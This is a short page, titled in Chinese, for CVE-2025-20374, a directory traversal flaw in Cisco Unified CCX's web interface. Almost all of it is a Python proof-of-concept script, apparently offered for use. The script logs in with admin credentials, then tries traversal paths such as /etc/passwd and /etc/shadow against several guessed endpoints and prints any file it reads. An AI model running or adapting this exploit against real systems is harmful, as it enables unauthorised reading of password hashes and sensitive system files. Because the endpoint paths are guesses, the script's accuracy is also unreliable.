CVE-2025-20374 Cisco Unified CCX Web UI目录遍历漏洞

import requests import urllib.parse # CVE-2025-20374 PoC - Cisco Unified CCX Directory Traversal # Authentication required - replace with valid admin credentials TARGET_URL = "https://<target-ip>/ccx-webui" USERNAME = "admin" PASSWORD = "password" # File paths to attempt to read via directory traversal TARGET_FILES = [ "../../../../etc/passwd", "../../../../etc/shadow", "../../../../etc/hosts", "../../../..//var/log/messages", "../../../../etc/cups/printers.conf" ] def exploit_directory_traversal(session, filepath): """ Attempts to read arbitrary file via directory traversal filepath: Path to file using traversal sequences """ encoded_path = urllib.parse.quote(filepath) # Try multiple traversal patterns traversal_patterns = [ f"/ccx-webui/v2/files?path={encoded_path}", f"/ccx-webui/api/download?filename={encoded_path}", f"/ccx-webui/admin/logs/view?file={encoded_path}" ] for pattern in traversal_patterns: try: response = session.get(TARGET_URL + pattern, timeout=10) if response.status_code == 200 and len(response.content) > 0: print(f"[SUCCESS] File read via pattern: {pattern}") print(f"Content preview:\n{response.text[:500]}") return True except requests.RequestException as e: print(f"[ERROR] Request failed: {e}") return False def main(): session = requests.Session() # Login to obtain authenticated session login_data = {"username": USERNAME, "password": PASSWORD} login_response = session.post(f"{TARGET_URL}/login", data=login_data) if login_response.status_code != 200: print("[ERROR] Authentication failed") return print("[INFO] Authentication successful") # Attempt to read sensitive files for file_path in TARGET_FILES: print(f"\n[INFO] Attempting to read: {file_path}") exploit_directory_traversal(session, file_path) if __name__ == "__main__": main()